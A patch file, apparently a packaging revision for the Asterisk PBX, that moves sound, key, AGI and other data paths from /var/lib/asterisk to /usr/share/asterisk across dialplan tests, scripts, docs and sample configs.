+ exten => 1,3,Gosub(std-priv-exten,s,1(Zap/3r1&Zap/5r1,2,25,mtw,telemarket,telemarket))
+ exten => 1,4,Goto(s,loopback)
+@@ -2324,31 +2324,31 @@
  
-@@ -260,7 +260,7 @@ loudspeakers, and perhaps other nifty things. For instance:
+ [homeline-kids]
+ exten => s,1(begin),Background(murphy-homeline-kids)
+-exten => 1,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
++exten => 1,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
+ exten => 1,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/3/greet.wav&)
+ exten => 1,3,Gosub(std-priv-exten,s,1(IAX2/seaniax&Zap/5r2,3,35,mtw,telemarket,telemarket))
+ exten => 1,4,Goto(homeline,s,loopback)
+-exten => 2,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
++exten => 2,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
+ exten => 2,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/4/greet.wav&)
+ exten => 2,3,Voicemail(u4)
+ exten => 2,4,Goto(homeline,s,loopback)
+-exten => 3,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
++exten => 3,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
+ exten => 3,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/5/greet.wav&)
+ exten => 3,3,Gosub(std-priv-exten,s,1(Zap/3r2&Zap/5r2,5,35,mtw,telemarket,telemarket))
+ exten => 3,4,Goto(homeline,s,loopback)
+-exten => 4,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
++exten => 4,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
+ exten => 4,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/6/greet.wav&)
+ exten => 4,3,Gosub(std-priv-exten,s,1(Zap/3r2&Zap/5r2,6,35,mtw,telemarket,telemarket))
+ exten => 4,4,Goto(homeline,s,loopback)
+-exten => 5,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
++exten => 5,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
+ exten => 5,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/7/greet.wav&)
+ exten => 5,3,Gosub(std-priv-exten,s,1(Zap/3r2&Zap/5r2,7,35,mtw,telemarket,telemarket))
+ exten => 5,4,Goto(homeline,s,loopback)
+-exten => 6,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
++exten => 6,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
+ exten => 6,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/8/greet.wav&)
+ exten => 6,3,Gosub(std-priv-exten,s,1(Zap/3r2&Zap/5r2,8,35,mtw,telemarket,telemarket))
+ exten => 6,4,Goto(homeline,s,loopback)
+-exten => 7,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
++exten => 7,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
+ exten => 7,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/9/greet.wav&)
+ exten => 7,3,Gosub(std-priv-exten,s,1(Zap/3r2&Zap/5r2,9,35,mtw,telemarket,telemarket))
+ exten => 7,4,Goto(homeline,s,loopback)
+@@ -2376,7 +2376,7 @@
+ exten => s,6,TrySystem(/usr/local/bin/who-is-it ${CALLERID(num)} "${CALLERID(name)}"&)
+ exten => s,7(loopback),Background(greetings/greeting)
+ exten => s,8,Background(murphy-office-intro1)
+-exten => 1,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
++exten => 1,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
+ exten => 1,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/1/greet.wav&)
+ exten => 1,3,Gosub(std-priv-exten,s,1(Zap/6&Sip/murf,1,30,mtw,telemarket,telemarket))
+ exten => 1,4,Goto(s,loopback)
+@@ -2502,7 +2502,7 @@
+ exten => 760,1,DateTime()
+ exten => 760,2,Goto(s,loopback)
+ exten => 761,1,Record(announcement:gsm)
+-exten => 761,2,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/announcement.gsm&)
++exten => 761,2,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/announcement.gsm&)
+ exten => 761,3,Goto(s,loopback)
+ exten => 762,1,agi(tts-riddle.agi)
+ exten => 762,2,Background(gsm/what-time-it-is2)
+Index: pbx/ael/ael-test/ael-test3/extensions.ael
+===================================================================
+--- pbx/ael/ael-test/ael-test3/extensions.ael	(revision 222649)
++++ pbx/ael/ael-test/ael-test3/extensions.ael	(working copy)
+@@ -2049,7 +2049,7 @@
  
- \begin{astlisting}
- \begin{verbatim}
--exten => s,6,Set(PATH=/var/lib/asterisk/sounds/priv-callerintros)
-+exten => s,6,Set(PATH=/usr/share/asterisk/sounds/priv-callerintros)
- exten => s,7,System(/usr/bin/play ${PATH}/${CALLERID(num)}.gsm&,0)
- \end{verbatim}
- \end{astlisting}
-diff --git a/pbx/ael/ael-test/ael-test3/extensions.ael b/pbx/ael/ael-test/ael-test3/extensions.ael
-index ff1f6ae..53fb918 100755
---- a/pbx/ael/ael-test/ael-test3/extensions.ael
-+++ b/pbx/ael/ael-test/ael-test3/extensions.ael
-@@ -2049,7 +2049,7 @@ macro ciddial2(dialnum, lookup, waittime, dialopts, ddev) // give priority to tc
+ macro callerid-liar()
+ {
+-	TrySystem(/usr/bin/play /var/lib/asterisk/sounds/priv-callerintros/LIAR.gsm&);
++	TrySystem(/usr/bin/play /usr/share/asterisk/sounds/priv-callerintros/LIAR.gsm&);
+ 	Background(priv-liar);  // Script: OOOps! Sorry! I don't allow men with ski masks pulled over their 
+                             //         faces to get in the front door, and unidentified callers won't fair
+                             //         any better. You entered *MY* phone number. That won't work.
+@@ -2106,7 +2106,7 @@
+ 		PrivacyManager();
+ 		if( "${PRIVACYMGRSTATUS}" = "FAILED" )
+ 		{
+-			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/privmanfailed.gsm);
++			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/privmanfailed.gsm);
+ 			&std-priv-exten(Zap/3r1&Zap/5r1,2,25,mtw,telemarket,telemarket);
+ 			Hangup();
+ 			return;
+@@ -2138,7 +2138,7 @@
+ 			verbose(direct is XXX#${direct}XXXX);
+ 			Playback(greetings/direct); // Welcome to the Murphy residence. This system will automatically try to connect you to...
+ 			Playback(/var/spool/asterisk/voicemail/default/${direct}/greet);
+-			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/${direct}/greet.wav&);
+ 			switch(${direct})
+ 			{
+@@ -2223,7 +2223,7 @@
+ 		
+ 	}
+ 	1 => {  // Sonya
+-			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/2/greet.wav&);
+ 			&std-priv-exten(Zap/3r1&Zap/5r1,2,25,mtw,telemarket,telemarket);
+ 			goto s|loopback;
+@@ -2421,51 +2421,51 @@
+ 		Background(murphy-homeline-kids);        //  Which Kid? 1=Sean, 2:Eric, 3:Ryan, 4:Kyle, 5:Amber, 6:Alex, 7:Neal
+ 	}
+ 	1 => {  // SEAN
+-			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/3/greet.wav&);
+ 			// &std-priv-exten(Zap/3r2&Zap/5r2,3,35,mtw,telemarket,telemarket);
+ 			&std-priv-exten(IAX2/seaniax&Zap/5r2,3,35,mtw,telemarket,telemarket);
+ 			goto homeline|s|loopback;
+ 	}
+ 	2 => {  // ERIC
+-			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/4/greet.wav&);
+ 			Voicemail(u4);
+ 			goto homeline|s|loopback;
+ 			
+ 			// SetMusicOnHold(erics);
+-			// TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++			// TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 			// TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/4/greet.wav&);
+ 			// &std-priv-exten(Zap/3r2&Zap/5r2,4,35,mtw,telemarket,telemarket);
+ 			// goto homeline|s|loopback;
+ 	}
+ 	3 => {  // RYAN
+-			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/5/greet.wav&);
+ 			&std-priv-exten(Zap/3r2&Zap/5r2,5,35,mtw,telemarket,telemarket);
+ 			goto homeline|s|loopback;
+ 	}
+ 	4 => {  // KYLE
+-			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/6/greet.wav&);
+ 			&std-priv-exten(Zap/3r2&Zap/5r2,6,35,mtw,telemarket,telemarket);
+ 			goto homeline|s|loopback;
+ 	}
+ 	5 => {
+-			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/7/greet.wav&);
+ 			&std-priv-exten(Zap/3r2&Zap/5r2,7,35,mtw,telemarket,telemarket);
+ 			goto homeline|s|loopback;
+ 			
+ 	}
+ 	6 => {
+-			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/8/greet.wav&);
+ 			&std-priv-exten(Zap/3r2&Zap/5r2,8,35,mtw,telemarket,telemarket);
+ 			goto homeline|s|loopback;
+ 	}
+ 	7 => {
+-			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/9/greet.wav&);
+ 			&std-priv-exten(Zap/3r2&Zap/5r2,9,35,mtw,telemarket,telemarket);
+ 			goto homeline|s|loopback;
+@@ -2517,7 +2517,7 @@
+                                               // Otherwise, dial 1, and hopefully, you will reach Steve.
+ 	}
+ 	1 => {
+-		TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++		TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 		TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/1/greet.wav&);
+ 		
+ 		&std-priv-exten(Zap/6&Sip/murf,1,30,mtw,telemarket,telemarket);
+@@ -2778,7 +2778,7 @@
+ 	}
+ 	761 => {
+ 		Record(announcement:gsm);
+-		TrySystem(/usr/bin/play /var/lib/asterisk/sounds/announcement.gsm&);
++		TrySystem(/usr/bin/play /usr/share/asterisk/sounds/announcement.gsm&);
+ 		goto s|loopback;
+ 	}
+ 	762 => {
+Index: pbx/ael/ael-test/ael-vtest13/extensions.ael
+===================================================================
+--- pbx/ael/ael-test/ael-vtest13/extensions.ael	(revision 222649)
++++ pbx/ael/ael-test/ael-vtest13/extensions.ael	(working copy)
+@@ -2048,7 +2048,7 @@
  
  macro callerid-liar()
  {
@@ -282,7 +226,7 @@ index ff1f6ae..53fb918 100755
  	Background(priv-liar);  // Script: OOOps! Sorry! I don't allow men with ski masks pulled over their 
                              //         faces to get in the front door, and unidentified callers won't fair
                              //         any better. You entered *MY* phone number. That won't work.
-@@ -2106,7 +2106,7 @@ context homeline {
+@@ -2105,7 +2105,7 @@
  		PrivacyManager();
  		if( "${PRIVACYMGRSTATUS}" = "FAILED" )
  		{
@@ -291,7 +235,7 @@ index ff1f6ae..53fb918 100755
  			&std-priv-exten(Zap/3r1&Zap/5r1,2,25,mtw,telemarket,telemarket);
  			Hangup();
  			return;
-@@ -2138,7 +2138,7 @@ context homeline {
+@@ -2137,7 +2137,7 @@
  			verbose(direct is XXX#${direct}XXXX);
  			Playback(greetings/direct); // Welcome to the Murphy residence. This system will automatically try to connect you to...
  			Playback(/var/spool/asterisk/voicemail/default/${direct}/greet);
@@ -300,7 +244,7 @@ index ff1f6ae..53fb918 100755
  			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/${direct}/greet.wav&);
  			switch(${direct})
  			{
-@@ -2223,7 +2223,7 @@ context homeline {
+@@ -2222,7 +2222,7 @@
  		
  	}
  	1 => {  // Sonya
@@ -309,7 +253,7 @@ index ff1f6ae..53fb918 100755
  			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/2/greet.wav&);
  			&std-priv-exten(Zap/3r1&Zap/5r1,2,25,mtw,telemarket,telemarket);
  			goto s|loopback;
-@@ -2421,51 +2421,51 @@ context homeline-kids {
+@@ -2420,51 +2420,51 @@
  		Background(murphy-homeline-kids);        //  Which Kid? 1=Sean, 2:Eric, 3:Ryan, 4:Kyle, 5:Amber, 6:Alex, 7:Neal
  	}
  	1 => {  // SEAN
@@ -369,7 +313,7 @@ index ff1f6ae..53fb918 100755
  			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/9/greet.wav&);
  			&std-priv-exten(Zap/3r2&Zap/5r2,9,35,mtw,telemarket,telemarket);
  			goto homeline|s|loopback;
-@@ -2517,7 +2517,7 @@ context workline {
+@@ -2516,7 +2516,7 @@
                                                // Otherwise, dial 1, and hopefully, you will reach Steve.
  	}
  	1 => {
@@ -378,7 +322,7 @@ index ff1f6ae..53fb918 100755
  		TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/1/greet.wav&);
  		
  		&std-priv-exten(Zap/6&Sip/murf,1,30,mtw,telemarket,telemarket);
-@@ -2778,7 +2778,7 @@ context homeext {
+@@ -2777,7 +2777,7 @@
  	}
  	761 => {
  		Record(announcement:gsm);
@@ -387,221 +331,377 @@ index ff1f6ae..53fb918 100755
  		goto s|loopback;
  	}
  	762 => {
-diff --git a/pbx/ael/ael-test/ael-vtest13/extensions.ael b/pbx/ael/ael-test/ael-vtest13/extensions.ael
-index b7e953e..48baaef 100755
---- a/pbx/ael/ael-test/ael-vtest13/extensions.ael
-+++ b/pbx/ael/ael-test/ael-vtest13/extensions.ael
-@@ -2048,7 +2048,7 @@ macro ciddial2(dialnum, lookup, waittime, dialopts, ddev) // give priority to tc
+Index: agi/jukebox.agi
+===================================================================
+--- agi/jukebox.agi	(revision 222649)
++++ agi/jukebox.agi	(working copy)
+@@ -17,7 +17,7 @@
+ #
+ # Uses festival to list off all your MP3 music files over a channel in
+ # a hierarchical fashion.  Put this file in your agi-bin folder which
+-# is located at: /var/lib/asterisk/agi-bin  Be sure to chmod +x it!
++# is located at: /usr/share/asterisk/agi-bin  Be sure to chmod +x it!
+ #
+ # Invocation Example:
+ #   exten => 68742,1,Answer()
+Index: agi/DialAnMp3.agi
+===================================================================
+--- agi/DialAnMp3.agi	(revision 222649)
++++ agi/DialAnMp3.agi	(working copy)
+@@ -17,7 +17,7 @@
+ 	print STDERR " -- $i = $AGI{$i}\n";
+ }
+ 
+-dbmopen(%DIGITS, "/var/lib/asterisk/mp3list", 0644) || die("Unable to open mp3list");;
++dbmopen(%DIGITS, "/usr/share/asterisk/mp3list", 0644) || die("Unable to open mp3list");;
+ 
+ sub checkresult {
+ 	my ($res) = @_;
+Index: agi/numeralize
+===================================================================
+--- agi/numeralize	(revision 222649)
++++ agi/numeralize	(working copy)
+@@ -6,7 +6,7 @@
+ 
+ $mp3dir="/usr/media/mpeg3";
+ 
+-dbmopen(%DIGITS, "/var/lib/asterisk/mp3list", 0644) || die("Unable to open mp3list");;
++dbmopen(%DIGITS, "/usr/share/asterisk/mp3list", 0644) || die("Unable to open mp3list");;
+ sub process_dir {
+ 	my ($dir) = @_;
+ 	my $file;
+Index: apps/app_rpt.c
+===================================================================
+--- apps/app_rpt.c	(revision 222649)
++++ apps/app_rpt.c	(working copy)
+@@ -241,7 +241,7 @@
+ #define	TONEMACRO "tonemacro"
+ #define	FUNCCHAR '*'
+ #define	ENDCHAR '#'
+-#define	EXTNODEFILE "/var/lib/asterisk/rpt_extnodes"
++#define	EXTNODEFILE "/usr/share/asterisk/rpt_extnodes"
+ #define	NODENAMES "rpt/nodenames"
+ #define	PARROTFILE "/tmp/parrot_%s_%u"
+ 
+Index: doc/osp.txt
+===================================================================
+--- doc/osp.txt	(revision 222649)
++++ doc/osp.txt	(working copy)
+@@ -136,7 +136,7 @@
+ Compilation is successful if there are no errors in the compiler output. The enroll program is now located in the OSP Toolkit/bin directory (example: /usr/src/ TK-3_3_6-20060303/bin). 
+ 
+ 2.2 Obtain Crypto Files
+-The OSP module in Asterisk requires three crypto files containing a local certificate (localcert.pem), private key (pkey.pem), and CA certificate (cacert_0.pem).  Asterisk will try to load the files from the Asterisk public/private key directory - /var/lib/asterisk/keys.  If the files are not present, the OSP module will not start and the Asterisk will not support the OSP protocol.  Use the enroll.sh script from the toolkit distribution to enroll Asterisk with an OSP server and obtain the crypto files.  Documentation explaining how to use the enroll.sh script (Device Enrollment) to enroll with an OSP server is available at http://www.transnexus.com/OSP%20Toolkit/OSP%20Toolkit%20Documents/Device_Enrollment.pdf.  Copy the files generated by the enrollment process to the Asterisk /var/lib/asterisk/keys directory.  
++The OSP module in Asterisk requires three crypto files containing a local certificate (localcert.pem), private key (pkey.pem), and CA certificate (cacert_0.pem).  Asterisk will try to load the files from the Asterisk public/private key directory - /usr/share/asterisk/keys.  If the files are not present, the OSP module will not start and the Asterisk will not support the OSP protocol.  Use the enroll.sh script from the toolkit distribution to enroll Asterisk with an OSP server and obtain the crypto files.  Documentation explaining how to use the enroll.sh script (Device Enrollment) to enroll with an OSP server is available at http://www.transnexus.com/OSP%20Toolkit/OSP%20Toolkit%20Documents/Device_Enrollment.pdf.  Copy the files generated by the enrollment process to the Asterisk /usr/share/asterisk/keys directory.  
+ 
+ Note: The osptestserver.transnexus.com is configured only for sending and receiving non-SSL messages, and issuing signed tokens. If you need help, post a message on the OSP mailing list at https://lists.sourceforge.net/lists/listinfo/osp-toolkit-client..
+ 
+@@ -183,7 +183,7 @@
+ verify return:1
+ The certificate request was successful.
+ Error Code returned from localcert command : 0
+-The files generated should be copied to the /var/lib/asterisk/keys directory. 
++The files generated should be copied to the /usr/share/asterisk/keys directory. 
+ Note: The script enroll.sh requires AT&T korn shell (ksh) or any of its compatible variants. The /usr/src/TK-3_3_6-20060303/bin directory should be in the PATH variable. Otherwise, enroll.sh cannot find the enroll file.
+ 
+ 3 Asterisk
+@@ -247,9 +247,9 @@
+ source=[host IP]
+ ;
+ ; Define path and file name of crypto files.
+-; The default path for crypto file is /var/lib/asterisk/keys.  If no
++; The default path for crypto file is /usr/share/asterisk/keys.  If no
+ ; path is defined, crypto files should be in  
+-; /var/lib/asterisk/keys directory.
++; /usr/share/asterisk/keys directory.
+ ;
+ ; Specify the private key file name.  
+ ; If this parameter is unspecified or not present, the default name 
+Index: doc/tex/phoneprov.tex
+===================================================================
+--- doc/tex/phoneprov.tex	(revision 222649)
++++ doc/tex/phoneprov.tex	(working copy)
+@@ -58,7 +58,7 @@
+ [polycom]
+ staticdir => configs/
+ mime_type => text/xml
+-setvar => CUSTOM_CONFIG=/var/lib/asterisk/phoneprov/configs/custom.cfg
++setvar => CUSTOM_CONFIG=/usr/share/asterisk/phoneprov/configs/custom.cfg
+ static_file => bootrom.ld,application/octet-stream
+ static_file => bootrom.ver,plain/text
+ static_file => sip.ld,application/octet-stream
+Index: doc/tex/ael.tex
+===================================================================
+--- doc/tex/ael.tex	(revision 222649)
++++ doc/tex/ael.tex	(working copy)
+@@ -1167,7 +1167,7 @@
+       the application that would set that variable is not called in
+       the same extension. This is a warning only...
+     \item Calls to applications not in the "applist" database (installed
+-      in \path{/var/lib/asterisk/applist}" on most systems).
++      in \path{/usr/share/asterisk/applist}" on most systems).
+     \item In an assignment statement, if the assignment is to a function,
+       the function name used is checked to see if it one of the
+       currently known functions. A warning is issued if it is not.
+Index: doc/tex/asterisk-conf.tex
+===================================================================
+--- doc/tex/asterisk-conf.tex	(revision 222649)
++++ doc/tex/asterisk-conf.tex	(working copy)
+@@ -18,10 +18,10 @@
+ astmoddir => /usr/lib/asterisk/modules
+ 
+ ; Where additional 'library' elements (scripts, etc.) are located
+-astvarlibdir => /var/lib/asterisk
++astvarlibdir => /usr/share/asterisk
+ 
+ ; Where AGI scripts/programs are located
+-astagidir => /var/lib/asterisk/agi-bin
++astagidir => /usr/share/asterisk/agi-bin
+ 
+ ; Where spool directories are located
+ ; Voicemail, monitor, dictation and other apps will create files here
+Index: doc/tex/privacy.tex
+===================================================================
+--- doc/tex/privacy.tex	(revision 222649)
++++ doc/tex/privacy.tex	(working copy)
+@@ -210,7 +210,7 @@
+ 
+ When there is no CallerID, P and p options will always record an intro
+ for the incoming caller. This intro will be stored temporarily in the
+-\path{/var/lib/asterisk/sounds/priv-callerintros} dir, under the name
++\path{/usr/share/asterisk/sounds/priv-callerintros} dir, under the name
+ NOCALLERID\_$<$extension$>$ $<$channelname$>$ and will be erased after the
+ callee decides what to do with the call.
+ 
+@@ -245,7 +245,7 @@
+ \subsubsection{Introductions}
+ Unless instructed to not save introductions (see the 'n' option above),
+ the screening modes will save the recordings of the caller's names in
+-the directory \path{/var/lib/asterisk/sounds/priv-callerintros}, if they have
++the directory \path{/usr/share/asterisk/sounds/priv-callerintros}, if they have
+ a CallerID.  Just the 10-digit callerid numbers are used as filenames,
+ with a ".gsm" at the end.
+ 
+@@ -260,7 +260,7 @@
+ 
+ \begin{astlisting}
+ \begin{verbatim}
+-exten => s,6,Set(PATH=/var/lib/asterisk/sounds/priv-callerintros)
++exten => s,6,Set(PATH=/usr/share/asterisk/sounds/priv-callerintros)
+ exten => s,7,System(/usr/bin/play ${PATH}/${CALLERID(num)}.gsm&,0)
+ \end{verbatim}
+ \end{astlisting}
+Index: configs/iax.conf.sample
+===================================================================
+--- configs/iax.conf.sample	(revision 222649)
++++ configs/iax.conf.sample	(working copy)
+@@ -412,8 +412,8 @@
+ ; authentication is used, "inkeys" is a list of acceptable public keys on the 
+ ; local system that can be used to authenticate the remote peer, separated by
+ ; the ":" character.  "outkey" is a single, private key to use to authenticate
+-; to the other side.  Public keys are named /var/lib/asterisk/keys/<name>.pub
+-; while private keys are named /var/lib/asterisk/keys/<name>.key.  Private
++; to the other side.  Public keys are named /usr/share/asterisk/keys/<name>.pub
++; while private keys are named /usr/share/asterisk/keys/<name>.key.  Private
+ ; keys should always be 3DES encrypted.
+ ;
+ ;
+Index: configs/festival.conf.sample
+===================================================================
+--- configs/festival.conf.sample	(revision 222649)
++++ configs/festival.conf.sample	(working copy)
+@@ -21,7 +21,7 @@
+ ; THIS DIRECTORY *MUST* EXIST and must be writable from the asterisk process.
+ ; Defaults to /tmp/
+ ;
+-;cachedir=/var/lib/asterisk/festivalcache/
++;cachedir=/var/spool/asterisk/festival/
+ ;
+ ; Festival command to send to the server.
+ ; Defaults to: (tts_textasterisk "%s" 'file)(quit)\n
+Index: configs/http.conf.sample
+===================================================================
+--- configs/http.conf.sample	(revision 222649)
++++ configs/http.conf.sample	(working copy)
+@@ -5,7 +5,7 @@
+ ; Note about Asterisk documentation:
+ ;   If Asterisk was installed from a tarball, then the HTML documentation should
+ ;   be installed in the static-http/docs directory which is
+-;   (/var/lib/asterisk/static-http/docs) on linux by default.  If the Asterisk
++;   (/usr/share/asterisk/static-http/docs) on linux by default.  If the Asterisk
+ ;   HTTP server is enabled in this file by setting the "enabled", "bindaddr",
+ ;   and "bindport" options, then you should be able to view the documentation
+ ;   remotely by browsing to:
+@@ -66,6 +66,6 @@
+ ;[post_mappings]
+ ;
+ ; In this example, if the prefix option is set to "asterisk", then using the
+-; POST URL: /asterisk/uploads will put files in /var/lib/asterisk/uploads/.
+-;uploads = /var/lib/asterisk/uploads/
++; POST URL: /asterisk/uploads will put files in /var/spool/asterisk/uploads/.
++;uploads = /var/spool/asterisk/uploads/
+ ;
+Index: configs/phoneprov.conf.sample
+===================================================================
+--- configs/phoneprov.conf.sample	(revision 222649)
++++ configs/phoneprov.conf.sample	(working copy)
+@@ -57,4 +57,4 @@
+ ${TOLOWER(${MAC})}-phone.cfg => 000000000000-phone.cfg   ; (relative to AST_DATA_DIR/phoneprov)
+ config/${TOLOWER(${MAC})} => polycom.xml                 ; Dynamic Filename => template file 
+ ${TOLOWER(${MAC})}-directory.xml => 000000000000-directory.xml
+-setvar => CUSTOM_CONFIG=/var/lib/asterisk/phoneprov/configs/custom.cfg  ; Custom variable
++setvar => CUSTOM_CONFIG=/usr/share/asterisk/phoneprov/configs/custom.cfg  ; Custom variable
+Index: configs/musiconhold.conf.sample
+===================================================================
+--- configs/musiconhold.conf.sample	(revision 222649)
++++ configs/musiconhold.conf.sample	(working copy)
+@@ -39,11 +39,11 @@
+ 
+ [default]
+ mode=files
+-directory=/var/lib/asterisk/moh
++directory=/usr/share/asterisk/moh
+ ;
+ ;[native-random]
+ ;mode=files
+-;directory=/var/lib/asterisk/moh
++;directory=/usr/share/asterisk/moh
+ ;digit=#        ; If this option is set for a class, then when callers are
+ ;               ; listening to music on hold, they can press this digit, and
+ ;               ; they will switch to listening to this music class.
+@@ -51,7 +51,7 @@
  
- macro callerid-liar()
- {
--	TrySystem(/usr/bin/play /var/lib/asterisk/sounds/priv-callerintros/LIAR.gsm&);
-+	TrySystem(/usr/bin/play /usr/share/asterisk/sounds/priv-callerintros/LIAR.gsm&);
- 	Background(priv-liar);  // Script: OOOps! Sorry! I don't allow men with ski masks pulled over their 
-                             //         faces to get in the front door, and unidentified callers won't fair
-                             //         any better. You entered *MY* phone number. That won't work.
-@@ -2105,7 +2105,7 @@ context homeline {
- 		PrivacyManager();
- 		if( "${PRIVACYMGRSTATUS}" = "FAILED" )
- 		{
--			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/privmanfailed.gsm);
-+			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/privmanfailed.gsm);
- 			&std-priv-exten(Zap/3r1&Zap/5r1,2,25,mtw,telemarket,telemarket);
- 			Hangup();
- 			return;
-@@ -2137,7 +2137,7 @@ context homeline {
- 			verbose(direct is XXX#${direct}XXXX);
- 			Playback(greetings/direct); // Welcome to the Murphy residence. This system will automatically try to connect you to...
- 			Playback(/var/spool/asterisk/voicemail/default/${direct}/greet);
--			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
-+			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/${direct}/greet.wav&);
- 			switch(${direct})
- 			{
-@@ -2222,7 +2222,7 @@ context homeline {
- 		
- 	}
- 	1 => {  // Sonya
--			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
-+			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/2/greet.wav&);
- 			&std-priv-exten(Zap/3r1&Zap/5r1,2,25,mtw,telemarket,telemarket);
- 			goto s|loopback;
-@@ -2420,51 +2420,51 @@ context homeline-kids {
- 		Background(murphy-homeline-kids);        //  Which Kid? 1=Sean, 2:Eric, 3:Ryan, 4:Kyle, 5:Amber, 6:Alex, 7:Neal
- 	}
- 	1 => {  // SEAN
--			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
-+			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/3/greet.wav&);
- 			// &std-priv-exten(Zap/3r2&Zap/5r2,3,35,mtw,telemarket,telemarket);
- 			&std-priv-exten(IAX2/seaniax&Zap/5r2,3,35,mtw,telemarket,telemarket);
- 			goto homeline|s|loopback;
- 	}
- 	2 => {  // ERIC
--			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
-+			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/4/greet.wav&);
- 			Voicemail(u4);
- 			goto homeline|s|loopback;
- 			
- 			// SetMusicOnHold(erics);
--			// TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
-+			// TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 			// TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/4/greet.wav&);
- 			// &std-priv-exten(Zap/3r2&Zap/5r2,4,35,mtw,telemarket,telemarket);
- 			// goto homeline|s|loopback;
- 	}
- 	3 => {  // RYAN
--			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
